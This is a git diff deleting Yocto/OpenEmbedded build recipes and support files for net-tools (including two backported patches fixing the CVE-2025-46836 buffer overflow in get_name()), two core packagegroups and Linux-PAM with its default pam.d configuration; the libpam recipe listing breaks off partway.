26ALTERNATIVE_LINK_NAME[usr-lib-sendmail] = "/usr/lib/sendmail"
27ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch b/meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch
deleted file mode 100644
index f15d3654c7..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch
+++ /dev/null
@@ -1,15 +0,0 @@
1Description: Add missing headers
2
3Upstream-Status: Pending
4Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
5
6--- a/netstat.c
7+++ b/netstat.c
8@@ -88,6 +88,7 @@
9 #include <sys/stat.h>
10 #include <net/if.h>
11 #include <dirent.h>
12+#include <sys/types.h>
13
14 #include "net-support.h"
15 #include "pathnames.h"
diff --git a/meta/recipes-extended/net-tools/net-tools/CVE-2025-46836-01.patch b/meta/recipes-extended/net-tools/net-tools/CVE-2025-46836-01.patch
deleted file mode 100644
index 0d55512497..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/CVE-2025-46836-01.patch
+++ /dev/null
@@ -1,91 +0,0 @@
1From 7a8f42fb20013a1493d8cae1c43436f85e656f2d Mon Sep 17 00:00:00 2001
2From: Zephkeks <zephyrofficialdiscord@gmail.com>
3Date: Tue, 13 May 2025 11:04:17 +0200
4Subject: [PATCH] CVE-2025-46836: interface.c: Stack-based Buffer Overflow in
5 get_name()
6
7Coordinated as GHSA-pfwf-h6m3-63wf
8
9CVE: CVE-2025-46836
10Upstream-Status: Backport [https://sourceforge.net/p/net-tools/code/ci/7a8f42fb20013a1493d8cae1c43436f85e656f2d/]
11Signed-off-by: Peter Marko <peter.marko@siemens.com>
12---
13 lib/interface.c | 63 ++++++++++++++++++++++++++++++-------------------
14 1 file changed, 39 insertions(+), 24 deletions(-)
15
16diff --git a/lib/interface.c b/lib/interface.c
17index 71d4163..a054f12 100644
18--- a/lib/interface.c
19+++ b/lib/interface.c
20@@ -211,32 +211,47 @@ out:
21 }
22
23 static const char *get_name(char *name, const char *p)
24+/* Safe version — guarantees at most IFNAMSIZ‑1 bytes are copied
25+ and the destination buffer is always NUL‑terminated. */
26 {
27- while (isspace(*p))
28- p++;
29- while (*p) {
30- if (isspace(*p))
31- break;
32- if (*p == ':') { /* could be an alias */
33- const char *dot = p++;
34- while (*p && isdigit(*p)) p++;
35- if (*p == ':') {
36- /* Yes it is, backup and copy it. */
37- p = dot;
38- *name++ = *p++;
39- while (*p && isdigit(*p)) {
40- *name++ = *p++;
41- }
42- } else {
43- /* No, it isn't */
44- p = dot;
45- }
46- p++;
47- break;
48- }
49- *name++ = *p++;
50+ char *dst = name; /* current write ptr */
51+ const char *end = name + IFNAMSIZ - 1; /* last byte we may write */
52+
53+ /* Skip leading white‑space. */
54+ while (isspace((unsigned char)*p))
55+ ++p;
56+
57+ /* Copy until white‑space, end of string, or buffer full. */
58+ while (*p && !isspace((unsigned char)*p) && dst < end) {
59+ if (*p == ':') { /* possible alias veth0:123: */
60+ const char *dot = p; /* remember the colon */
61+ ++p;
62+ while (*p && isdigit((unsigned char)*p))
63+ ++p;
64+
65+ if (*p == ':') { /* confirmed alias */
66+ p = dot; /* rewind and copy it all */
67+
68+ /* copy the colon */
69+ if (dst < end)
70+ *dst++ = *p++;
71+
72+ /* copy the digits */
73+ while (*p && isdigit((unsigned char)*p) && dst < end)
74+ *dst++ = *p++;
75+
76+ if (*p == ':') /* consume trailing colon */
77+ ++p;
78+ } else { /* if so treat as normal */
79+ p = dot;
80+ }
81+ break; /* interface name ends here */
82+ }
83+
84+ *dst++ = *p++; /* ordinary character copy */
85 }
86- *name++ = '\0';
87+
88+ *dst = '\0'; /* always NUL‑terminate */
89 return p;
90 }
91
diff --git a/meta/recipes-extended/net-tools/net-tools/CVE-2025-46836-02.patch b/meta/recipes-extended/net-tools/net-tools/CVE-2025-46836-02.patch
deleted file mode 100644
index d2c3673a24..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/CVE-2025-46836-02.patch
+++ /dev/null
@@ -1,31 +0,0 @@
1From ddb0e375fb9ca95bb69335540b85bbdaa2714348 Mon Sep 17 00:00:00 2001
2From: Bernd Eckenfels <net-tools@lina.inka.de>
3Date: Sat, 17 May 2025 21:53:23 +0200
4Subject: [PATCH] Interface statistic regression after 7a8f42fb2
5
6CVE: CVE-2025-46836
7Upstream-Status: Backport [https://sourceforge.net/p/net-tools/code/ci/ddb0e375fb9ca95bb69335540b85bbdaa2714348/]
8Signed-off-by: Peter Marko <peter.marko@siemens.com>
9---
10 lib/interface.c | 5 ++---
11 1 file changed, 2 insertions(+), 3 deletions(-)
12
13diff --git a/lib/interface.c b/lib/interface.c
14index a054f12..ca4adf1 100644
15--- a/lib/interface.c
16+++ b/lib/interface.c
17@@ -239,12 +239,11 @@ static const char *get_name(char *name, const char *p)
18 /* copy the digits */
19 while (*p && isdigit((unsigned char)*p) && dst < end)
20 *dst++ = *p++;
21-
22- if (*p == ':') /* consume trailing colon */
23- ++p;
24 } else { /* if so treat as normal */
25 p = dot;
26 }
27+ if (*p == ':') /* consume trailing colon */
28+ ++p;
29 break; /* interface name ends here */
30 }
31
diff --git a/meta/recipes-extended/net-tools/net-tools/net-tools-config.h b/meta/recipes-extended/net-tools/net-tools/net-tools-config.h
deleted file mode 100644
index 6d39c2a8cb..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/net-tools-config.h
+++ /dev/null
@@ -1,75 +0,0 @@
1/*
2* config.h Automatically generated configuration includefile
3*
4* NET-TOOLS A collection of programs that form the base set of the
5* NET-3 Networking Distribution for the LINUX operating
6* system.
7*
8* DO NOT EDIT DIRECTLY
9*
10*/
11
12/*
13 *
14 * Internationalization
15 *
16 * The net-tools package has currently been translated to French,
17 * German and Brazilian Portugese. Other translations are, of
18 * course, welcome. Answer `n' here if you have no support for
19 * internationalization on your system.
20 *
21 */
22#define I18N 1
23
24/*
25 *
26 * Protocol Families.
27 *
28 */
29#define HAVE_AFUNIX 1
30#define HAVE_AFINET 1
31#define HAVE_AFINET6 1
32#define HAVE_AFIPX 0
33#define HAVE_AFATALK 0
34#define HAVE_AFAX25 0
35#define HAVE_AFNETROM 1
36#define HAVE_AFROSE 0
37#define HAVE_AFX25 0
38#define HAVE_AFECONET 0
39#define HAVE_AFDECnet 0
40#define HAVE_AFASH 0
41
42/*
43 *
44 * Device Hardware types.
45 *
46 */
47#define HAVE_HWETHER 1
48#define HAVE_HWARC 1
49#define HAVE_HWSLIP 1
50#define HAVE_HWPPP 1
51#define HAVE_HWTUNNEL 1
52#define HAVE_HWSTRIP 0
53#define HAVE_HWTR 0
54#define HAVE_HWAX25 0
55#define HAVE_HWROSE 0
56#define HAVE_HWNETROM 1
57#define HAVE_HWX25 0
58#define HAVE_HWFR 1
59#define HAVE_HWSIT 0
60#define HAVE_HWFDDI 0
61#define HAVE_HWHIPPI 0
62#define HAVE_HWASH 0
63#define HAVE_HWHDLCLAPB 0
64#define HAVE_HWIRDA 1
65#define HAVE_HWEC 0
66#define HAVE_HWIB 0
67
68/*
69 *
70 * Other Features.
71 *
72 */
73#define HAVE_FW_MASQUERADE 1
74#define HAVE_IP_TOOLS 1
75#define HAVE_MII 1
diff --git a/meta/recipes-extended/net-tools/net-tools/net-tools-config.make b/meta/recipes-extended/net-tools/net-tools/net-tools-config.make
deleted file mode 100644
index ec516f27ee..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/net-tools-config.make
+++ /dev/null
@@ -1,36 +0,0 @@
1I18N=1
2HAVE_AFUNIX=1
3HAVE_AFINET=1
4HAVE_AFINET6=1
5# HAVE_AFIPX=0
6# HAVE_AFATALK=0
7# HAVE_AFAX25=0
8HAVE_AFNETROM=1
9# HAVE_AFROSE=0
10# HAVE_AFX25=0
11# HAVE_AFECONET=0
12# HAVE_AFDECnet=0
13# HAVE_AFASH=0
14HAVE_HWETHER=1
15HAVE_HWARC=1
16HAVE_HWSLIP=1
17HAVE_HWPPP=1
18HAVE_HWTUNNEL=1
19HAVE_HWSTRIP=1
20HAVE_HWTR=1
21# HAVE_HWAX25=0
22# HAVE_HWROSE=0
23HAVE_HWNETROM=1
24# HAVE_HWX25=0
25HAVE_HWFR=1
26# HAVE_HWSIT=0
27# HAVE_HWFDDI=0
28# HAVE_HWHIPPI=0
29# HAVE_HWASH=0
30# HAVE_HWHDLCLAPB=0
31HAVE_HWIRDA=1
32# HAVE_HWEC=0
33# HAVE_HWIB=0
34HAVE_FW_MASQUERADE=1
35HAVE_IP_TOOLS=1
36HAVE_MII=1
diff --git a/meta/recipes-extended/net-tools/net-tools_2.10.bb b/meta/recipes-extended/net-tools/net-tools_2.10.bb
deleted file mode 100644
index 6c8297ba39..0000000000
--- a/meta/recipes-extended/net-tools/net-tools_2.10.bb
+++ /dev/null
@@ -1,121 +0,0 @@
1SUMMARY = "Basic networking tools"
2DESCRIPTION = "A collection of programs that form the base set of the NET-3 networking distribution for the Linux operating system"
3HOMEPAGE = "http://net-tools.berlios.de/"
4BUGTRACKER = "http://bugs.debian.org/net-tools"
5LICENSE = "GPL-2.0-or-later"
6LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
7 file://ifconfig.c;beginline=11;endline=15;md5=d1ca372080ad5401e23ca0afc35cf9ba"
8
9SRCREV = "80d7b95067f1f22fece9537dea6dff53081f4886"
10SRC_URI = "git://git.code.sf.net/p/net-tools/code;protocol=https;branch=master \
11 file://net-tools-config.h \
12 file://net-tools-config.make \
13 file://Add_missing_headers.patch \
14 file://CVE-2025-46836-01.patch \
15 file://CVE-2025-46836-02.patch \
16"
17
18inherit gettext
19
20# The Makefile is lame, no parallel build
21PARALLEL_MAKE = ""
22
23PACKAGECONFIG ??= "hostname arp serial plip"
24PACKAGECONFIG[hostname] = ""
25PACKAGECONFIG[arp] = ""
26PACKAGECONFIG[serial] = ""
27PACKAGECONFIG[plip] = ""
28PACKAGECONFIG[slattach] = ""
29PACKAGECONFIG[plipconfig] = ""
30
31do_configure() {
32 # net-tools has its own config mechanism requiring "make config"
33 # we pre-generate desired options and copy to source directory instead
34 cp ${UNPACKDIR}/net-tools-config.h ${S}/config.h
35 cp ${UNPACKDIR}/net-tools-config.make ${S}/config.make
36
37 if [ "${USE_NLS}" = "no" ]; then
38 sed -i -e 's/^I18N=1/# I18N=1/' ${S}/config.make
39 fi
40
41 if ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'true', 'false', d)} ; then
42 echo "#define HAVE_HOSTNAME_TOOLS 1" >> ${S}/config.h
43 echo "#define HAVE_HOSTNAME_SYMLINKS 1" >> ${S}/config.h
44 echo "HAVE_HOSTNAME_TOOLS=1" >> ${S}/config.make
45 echo "HAVE_HOSTNAME_SYMLINKS=1" >> ${S}/config.make
46 fi
47 if ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'true', 'false', d)} ; then
48 echo "#define HAVE_ARP_TOOLS 1" >> ${S}/config.h
49 echo "HAVE_ARP_TOOLS=1" >> ${S}/config.make
50 fi
51 if ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'true', 'false', d)} ; then
52 echo "#define HAVE_SERIAL_TOOLS 1" >> ${S}/config.h
53 echo "HAVE_SERIAL_TOOLS=1" >> ${S}/config.make
54 fi
55 if ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'true', 'false', d)} ; then
56 echo "#define HAVE_PLIP_TOOLS 1" >> ${S}/config.h
57 echo "HAVE_PLIP_TOOLS=1" >> ${S}/config.make
58 fi
59}
60
61do_compile() {
62 # net-tools use COPTS/LOPTS to allow adding custom options
63 oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS"
64}
65
66do_install() {
67 # We don't need COPTS or LOPTS, but let's be consistent.
68 oe_runmake COPTS="$CFLAGS" LOPTS="$LDFLAGS" BASEDIR=${D} INSTALLNLSDIR=${D}${datadir}/locale mandir=${mandir} install
69
70 if [ "${base_bindir}" != "/bin" ]; then
71 mkdir -p ${D}/${base_bindir}
72 mv ${D}/bin/* ${D}/${base_bindir}/
73 rmdir ${D}/bin
74 fi
75 if [ "${base_sbindir}" != "/sbin" ]; then
76 mkdir ${D}/${base_sbindir}
77 mv ${D}/sbin/* ${D}/${base_sbindir}/
78 rmdir ${D}/sbin
79 fi
80}
81
82inherit update-alternatives
83
84base_sbindir_progs = "ipmaddr iptunnel mii-tool nameif \
85 ${@bb.utils.contains('PACKAGECONFIG', 'arp', 'arp rarp', '', d)} \
86 ${@bb.utils.contains('PACKAGECONFIG', 'plip', 'plipconfig', '', d)} \
87 ${@bb.utils.contains('PACKAGECONFIG', 'serial', 'slattach', '', d)} \
88"
89base_bindir_progs = "ifconfig netstat route \
90 ${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'dnsdomainname domainname hostname nisdomainname ypdomainname', '', d)} \
91"
92
93ALTERNATIVE:${PN} = "${base_sbindir_progs} ${base_bindir_progs}"
94ALTERNATIVE:${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'hostname', 'hostname.1 dnsdomainname.1', '', d)}"
95ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
96ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
97ALTERNATIVE_PRIORITY[hostname.1] = "10"
98
99python __anonymous() {
100 for prog in d.getVar('base_sbindir_progs').split():
101 d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
102 for prog in d.getVar('base_bindir_progs').split():
103 d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
104}
105ALTERNATIVE_PRIORITY = "100"
106
107NETTOOLS_PACKAGES = "${PN}-mii-tool"
108NETTOOLS_PACKAGES:class-native = ""
109
110PACKAGE_BEFORE_PN = "${NETTOOLS_PACKAGES}"
111RDEPENDS:${PN} += "${NETTOOLS_PACKAGES}"
112
113FILES:${PN}-mii-tool = "${base_sbindir}/mii-tool"
114
115ALTERNATIVE:${PN}:remove = "mii-tool"
116
117ALTERNATIVE:${PN}-mii-tool = "mii-tool"
118ALTERNATIVE_TARGET[mii-tool] = "${base_sbindir}/mii-tool"
119ALTERNATIVE_LINK_NAME[mii-tool] = "${base_sbindir}/mii-tool"
120
121BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb b/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
deleted file mode 100644
index b17cba4a78..0000000000
--- a/meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb
+++ /dev/null
@@ -1,61 +0,0 @@
1#
2# Copyright (C) 2019 Konsulko Group
3#
4
5SUMMARY = "Full-featured set of base utils"
6DESCRIPTION = "Package group bringing in packages needed to provide much of the base utils type functionality found in busybox"
7
8PACKAGE_ARCH = "${MACHINE_ARCH}"
9
10inherit packagegroup
11
12VIRTUAL-RUNTIME_vim ?= "vim-tiny"
13
14PACKAGE_ARCH = "${MACHINE_ARCH}"
15
16RDEPENDS:${PN} = "\
17 base-passwd \
18 bash \
19 bind-utils \
20 bzip2 \
21 coreutils \
22 cpio \
23 ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "debianutils-run-parts", d)} \
24 dhcpcd \
25 ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "kea", d)} \
26 diffutils \
27 ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "dpkg-start-stop", d)} \
28 e2fsprogs \
29 ed \
30 file \
31 findutils \
32 gawk \
33 grep \
34 gzip \
35 ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "", "ifupdown", d)} \
36 inetutils \
37 inetutils-ping \
38 inetutils-telnet \
39 inetutils-tftp \
40 inetutils-traceroute \
41 iproute2 \
42 ${@bb.utils.contains("MACHINE_FEATURES", "keyboard", "kbd", "", d)} \
43 kmod \
44 less \
45 ncurses-tools \
46 net-tools \
47 parted \
48 patch \
49 procps \
50 psmisc \
51 sed \
52 shadow-base \
53 tar \
54 time \
55 unzip \
56 util-linux \
57 ${VIRTUAL-RUNTIME_vim} \
58 wget \
59 which \
60 xz \
61 "
diff --git a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
deleted file mode 100644
index 8dc62954a2..0000000000
--- a/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
+++ /dev/null
@@ -1,95 +0,0 @@
1#
2# Copyright (C) 2010 Intel Corporation
3#
4
5SUMMARY = "Standard full-featured Linux system"
6DESCRIPTION = "Package group bringing in packages needed for a more traditional full-featured Linux system"
7
8inherit packagegroup
9
10PACKAGES = "\
11 packagegroup-core-full-cmdline \
12 packagegroup-core-full-cmdline-utils \
13 packagegroup-core-full-cmdline-extended \
14 packagegroup-core-full-cmdline-dev-utils \
15 packagegroup-core-full-cmdline-multiuser \
16 packagegroup-core-full-cmdline-initscripts \
17 packagegroup-core-full-cmdline-sys-services \
18 "
19
20RDEPENDS:packagegroup-core-full-cmdline = "\
21 packagegroup-core-full-cmdline-utils \
22 packagegroup-core-full-cmdline-extended \
23 packagegroup-core-full-cmdline-dev-utils \
24 packagegroup-core-full-cmdline-multiuser \
25 packagegroup-core-full-cmdline-initscripts \
26 packagegroup-core-full-cmdline-sys-services \
27 "
28
29RDEPENDS:packagegroup-core-full-cmdline-utils = "\
30 bash \
31 acl \
32 attr \
33 bc \
34 coreutils \
35 cpio \
36 e2fsprogs \
37 ed \
38 file \
39 findutils \
40 gawk \
41 grep \
42 less \
43 makedevs \
44 mc \
45 mc-shell \
46 mc-helpers \
47 mc-helpers-perl \
48 ncurses \
49 net-tools \
50 procps \
51 psmisc \
52 sed \
53 tar \
54 time \
55 util-linux \
56 "
57
58RDEPENDS:packagegroup-core-full-cmdline-extended = "\
59 iproute2 \
60 iputils \
61 iptables \
62 module-init-tools \
63 openssl \
64 "
65
66RDEPENDS:packagegroup-core-full-cmdline-dev-utils = "\
67 diffutils \
68 m4 \
69 make \
70 patch \
71 "
72
73VIRTUAL-RUNTIME_syslog ?= "sysklogd"
74RDEPENDS:packagegroup-core-full-cmdline-initscripts = "\
75 ${VIRTUAL-RUNTIME_initscripts} \
76 ${VIRTUAL-RUNTIME_init_manager} \
77 ethtool \
78 ${VIRTUAL-RUNTIME_login_manager} \
79 ${VIRTUAL-RUNTIME_syslog} \
80 "
81
82RDEPENDS:packagegroup-core-full-cmdline-multiuser = "\
83 bzip2 \
84 cracklib \
85 gzip \
86 shadow \
87 sudo \
88 "
89
90RDEPENDS:packagegroup-core-full-cmdline-sys-services = "\
91 at \
92 cronie \
93 logrotate \
94 ${@bb.utils.contains('DISTRO_FEATURES', 'nfs', 'nfs-utils rpcbind', '', d)} \
95 "
diff --git a/meta/recipes-extended/pam/libpam/99_pam b/meta/recipes-extended/pam/libpam/99_pam
deleted file mode 100644
index a88247be13..0000000000
--- a/meta/recipes-extended/pam/libpam/99_pam
+++ /dev/null
@@ -1 +0,0 @@
1d root root 0755 /run/sepermit none
diff --git a/meta/recipes-extended/pam/libpam/pam-volatiles.conf b/meta/recipes-extended/pam/libpam/pam-volatiles.conf
deleted file mode 100644
index 1263feb03d..0000000000
--- a/meta/recipes-extended/pam/libpam/pam-volatiles.conf
+++ /dev/null
@@ -1 +0,0 @@
1d /run/sepermit 0755 root root - -
diff --git a/meta/recipes-extended/pam/libpam/pam.d/common-account b/meta/recipes-extended/pam/libpam/pam.d/common-account
deleted file mode 100644
index 316b17337b..0000000000
--- a/meta/recipes-extended/pam/libpam/pam.d/common-account
+++ /dev/null
@@ -1,25 +0,0 @@
1#
2# /etc/pam.d/common-account - authorization settings common to all services
3#
4# This file is included from other service-specific PAM config files,
5# and should contain a list of the authorization modules that define
6# the central access policy for use on the system. The default is to
7# only deny service to users whose accounts are expired in /etc/shadow.
8#
9# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.
10# To take advantage of this, it is recommended that you configure any
11# local modules either before or after the default block, and use
12# pam-auth-update to manage selection of other modules. See
13# pam-auth-update(8) for details.
14#
15
16# here are the per-package modules (the "Primary" block)
17account [success=1 new_authtok_reqd=done default=ignore] pam_unix.so
18# here's the fallback if no module succeeds
19account requisite pam_deny.so
20# prime the stack with a positive return value if there isn't one already;
21# this avoids us returning an error just because nothing sets a success code
22# since the modules above will each just jump around
23account required pam_permit.so
24# and here are more per-package modules (the "Additional" block)
25# end of pam-auth-update config
diff --git a/meta/recipes-extended/pam/libpam/pam.d/common-auth b/meta/recipes-extended/pam/libpam/pam.d/common-auth
deleted file mode 100644
index 460b69f198..0000000000
--- a/meta/recipes-extended/pam/libpam/pam.d/common-auth
+++ /dev/null
@@ -1,18 +0,0 @@
1#
2# /etc/pam.d/common-auth - authentication settings common to all services
3#
4# This file is included from other service-specific PAM config files,
5# and should contain a list of the authentication modules that define
6# the central authentication scheme for use on the system
7# (e.g., /etc/shadow, LDAP, Kerberos, etc.). The default is to use the
8# traditional Unix authentication mechanisms.
9
10# here are the per-package modules (the "Primary" block)
11auth [success=1 default=ignore] pam_unix.so nullok_secure
12# here's the fallback if no module succeeds
13auth requisite pam_deny.so
14# prime the stack with a positive return value if there isn't one already;
15# this avoids us returning an error just because nothing sets a success code
16# since the modules above will each just jump around
17auth required pam_permit.so
18# and here are more per-package modules (the "Additional" block)
diff --git a/meta/recipes-extended/pam/libpam/pam.d/common-password b/meta/recipes-extended/pam/libpam/pam.d/common-password
deleted file mode 100644
index 52478dae77..0000000000
--- a/meta/recipes-extended/pam/libpam/pam.d/common-password
+++ /dev/null
@@ -1,23 +0,0 @@
1#
2# /etc/pam.d/common-password - password-related modules common to all services
3#
4# This file is included from other service-specific PAM config files,
5# and should contain a list of modules that define the services to be
6# used to change user passwords. The default is pam_unix.
7
8# Explanation of pam_unix options:
9#
10# The "sha512" option enables salted SHA512 passwords. Without this option,
11# the default is Unix crypt. Prior releases used the option "md5".
12#
13# See the pam_unix manpage for other options.
14
15# here are the per-package modules (the "Primary" block)
16password [success=1 default=ignore] pam_unix.so sha512
17# here's the fallback if no module succeeds
18password requisite pam_deny.so
19# prime the stack with a positive return value if there isn't one already;
20# this avoids us returning an error just because nothing sets a success code
21# since the modules above will each just jump around
22password required pam_permit.so
23# and here are more per-package modules (the "Additional" block)
diff --git a/meta/recipes-extended/pam/libpam/pam.d/common-session b/meta/recipes-extended/pam/libpam/pam.d/common-session
deleted file mode 100644
index a4a551f711..0000000000
--- a/meta/recipes-extended/pam/libpam/pam.d/common-session
+++ /dev/null
@@ -1,19 +0,0 @@
1#
2# /etc/pam.d/common-session - session-related modules common to all services
3#
4# This file is included from other service-specific PAM config files,
5# and should contain a list of modules that define tasks to be performed
6# at the start and end of sessions of *any* kind (both interactive and
7# non-interactive).
8#
9
10# here are the per-package modules (the "Primary" block)
11session [default=1] pam_permit.so
12# here's the fallback if no module succeeds
13session requisite pam_deny.so
14# prime the stack with a positive return value if there isn't one already;
15# this avoids us returning an error just because nothing sets a success code
16# since the modules above will each just jump around
17session required pam_permit.so
18# and here are more per-package modules (the "Additional" block)
19session required pam_unix.so
diff --git a/meta/recipes-extended/pam/libpam/pam.d/common-session-noninteractive b/meta/recipes-extended/pam/libpam/pam.d/common-session-noninteractive
deleted file mode 100644
index b110bb2b49..0000000000
--- a/meta/recipes-extended/pam/libpam/pam.d/common-session-noninteractive
+++ /dev/null
@@ -1,19 +0,0 @@
1#
2# /etc/pam.d/common-session-noninteractive - session-related modules
3# common to all non-interactive services
4#
5# This file is included from other service-specific PAM config files,
6# and should contain a list of modules that define tasks to be performed
7# at the start and end of all non-interactive sessions.
8#
9
10# here are the per-package modules (the "Primary" block)
11session [default=1] pam_permit.so
12# here's the fallback if no module succeeds
13session requisite pam_deny.so
14# prime the stack with a positive return value if there isn't one already;
15# this avoids us returning an error just because nothing sets a success code
16# since the modules above will each just jump around
17session required pam_permit.so
18# and here are more per-package modules (the "Additional" block)
19session required pam_unix.so
diff --git a/meta/recipes-extended/pam/libpam/pam.d/other b/meta/recipes-extended/pam/libpam/pam.d/other
deleted file mode 100644
index ec970ecbe0..0000000000
--- a/meta/recipes-extended/pam/libpam/pam.d/other
+++ /dev/null
@@ -1,24 +0,0 @@
1#
2# /etc/pam.d/other - specify the PAM fallback behaviour
3#
4# Note that this file is used for any unspecified service; for example
5#if /etc/pam.d/cron specifies no session modules but cron calls
6#pam_open_session, the session module out of /etc/pam.d/other is
7#used.
8
9# We use pam_warn.so to generate syslog notes that the 'other'
10#fallback rules are being used (as a hint to suggest you should setup
11#specific PAM rules for the service and aid to debugging). Then to be
12#secure, deny access to all services by default.
13
14auth required pam_warn.so
15auth required pam_deny.so
16
17account required pam_warn.so
18account required pam_deny.so
19
20password required pam_warn.so
21password required pam_deny.so
22
23session required pam_warn.so
24session required pam_deny.so
diff --git a/meta/recipes-extended/pam/libpam/run-ptest b/meta/recipes-extended/pam/libpam/run-ptest
deleted file mode 100644
index 9c304aee47..0000000000
--- a/meta/recipes-extended/pam/libpam/run-ptest
+++ /dev/null
@@ -1,32 +0,0 @@
1#! /bin/sh
2
3cd tests
4
5export srcdir=.
6
7failed=0
8all=0
9for f in tst-*; do
10 "./$f" > /dev/null 2>&1
11 case "$?" in
12 0)
13 echo "PASS: $f"
14 all=$((all + 1))
15 ;;
16 77)
17 echo "SKIP: $f"
18 ;;
19 *)
20 echo "FAIL: $f"
21 failed=$((failed + 1))
22 all=$((all + 1))
23 ;;
24 esac
25done
26
27if [ "$failed" -eq 0 ] ; then
28 echo "All $all tests passed"
29else
30 echo "$failed of $all tests failed"
31fi
32unset srcdir
diff --git a/meta/recipes-extended/pam/libpam_1.7.1.bb b/meta/recipes-extended/pam/libpam_1.7.1.bb
deleted file mode 100644
index 8d9ea27028..0000000000
--- a/meta/recipes-extended/pam/libpam_1.7.1.bb
+++ /dev/null
@@ -1,172 +0,0 @@
1DISABLE_STATIC = ""
2SUMMARY = "Linux-PAM (Pluggable Authentication Modules)"
3DESCRIPTION = "Linux-PAM (Pluggable Authentication Modules for Linux), a flexible mechanism for authenticating users"
4HOMEPAGE = "https://fedorahosted.org/linux-pam/"
5BUGTRACKER = "https://fedorahosted.org/linux-pam/newticket"
6SECTION = "base"
7# PAM is dual licensed under GPL and BSD.
8# /etc/pam.d comes from Debian libpam-runtime in 2009-11 (at that time
9# libpam-runtime-1.0.1 is GPL-2.0-or-later), by openembedded
10LICENSE = "GPL-2.0-or-later | BSD-3-Clause"
11LIC_FILES_CHKSUM = "file://COPYING;md5=7eb5c1bf854e8881005d673599ee74d3 \
12 file://libpamc/License;md5=a4da476a14c093fdc73be3c3c9ba8fb3 \
13 "
14
15SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/Linux-PAM-${PV}.tar.xz \
16 file://99_pam \
17 file://pam.d/common-account \
18 file://pam.d/common-auth \
19 file://pam.d/common-password \
20 file://pam.d/common-session \
21 file://pam.d/common-session-noninteractive \
22 file://pam.d/other \
23 file://run-ptest \
24 file://pam-volatiles.conf \
25 "
26
27SRC_URI[sha256sum] = "21dbcec6e01dd578f14789eac9024a18941e6f2702a05cf91b28c232eeb26ab0"
28
29DEPENDS = "bison-native flex-native libxml2-native virtual/crypt"
30
31EXTRA_OEMESON = "-Ddocs=disabled -Dsecuredir=${base_libdir}/security"
32
33LDFLAGS += "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-lld', ' -Wl,--undefined-version', '', d)}"
34
35S = "${UNPACKDIR}/Linux-PAM-${PV}"
36
37inherit meson gettext pkgconfig systemd ptest github-releases
38
39PACKAGECONFIG ??= ""
40PACKAGECONFIG[audit] = "-Daudit=enabled,-Daudit=disabled,audit,"
41PACKAGECONFIG[userdb] = "-Dpam_userdb=enabled -Ddb=gdbm,-Dpam_userdb=disabled,gdbm,"
42PACKAGECONFIG[selinux] = "-Dselinux=enabled,-Dselinux=disabled,libselinux,"
43
44PACKAGES += "${PN}-runtime ${PN}-xtests"
45FILES:${PN} = " \
46 ${libdir}/lib*${SOLIBS} \
47 ${nonarch_libdir}/tmpfiles.d/*.conf \
48"
49FILES:${PN}-dev += "${base_libdir}/security/*.la ${libdir}/*.la ${libdir}/lib*${SOLIBSDEV}"
50FILES:${PN}-runtime = "${sysconfdir} ${sbindir} ${nonarch_libdir}/systemd/system"
51FILES:${PN}-xtests = "${datadir}/Linux-PAM/xtests"
52
53# libpam installs /etc/environment for use with the pam_env plugin. Make sure it is
54# packaged with the pam-plugin-env package to avoid breaking installations which
55# install that file via other packages
56FILES:pam-plugin-env = "${sysconfdir}/environment"
57
58PACKAGES_DYNAMIC += "^${MLPREFIX}pam-plugin-.*"
59
60def get_multilib_bit(d):
61 baselib = d.getVar('baselib') or ''
62 return baselib.replace('lib', '')
63
64libpam_suffix = "suffix${@get_multilib_bit(d)}"
65
66RPROVIDES:${PN} += "${PN}-${libpam_suffix}"
67RPROVIDES:${PN}-runtime += "${PN}-runtime-${libpam_suffix}"
68
69RDEPENDS:${PN}-runtime = "${PN}-${libpam_suffix} \
70 ${MLPREFIX}pam-plugin-deny-${libpam_suffix} \
71 ${MLPREFIX}pam-plugin-permit-${libpam_suffix} \
72 ${MLPREFIX}pam-plugin-warn-${libpam_suffix} \
73 ${MLPREFIX}pam-plugin-unix-${libpam_suffix} \
74 ${@bb.utils.contains('PACKAGECONFIG', 'selinux', '${MLPREFIX}pam-plugin-selinux-${libpam_suffix}', '', d)} \
75 "
76RDEPENDS:${PN}-xtests = "${PN}-${libpam_suffix} \
77 ${MLPREFIX}pam-plugin-access-${libpam_suffix} \
78 ${MLPREFIX}pam-plugin-debug-${libpam_suffix} \
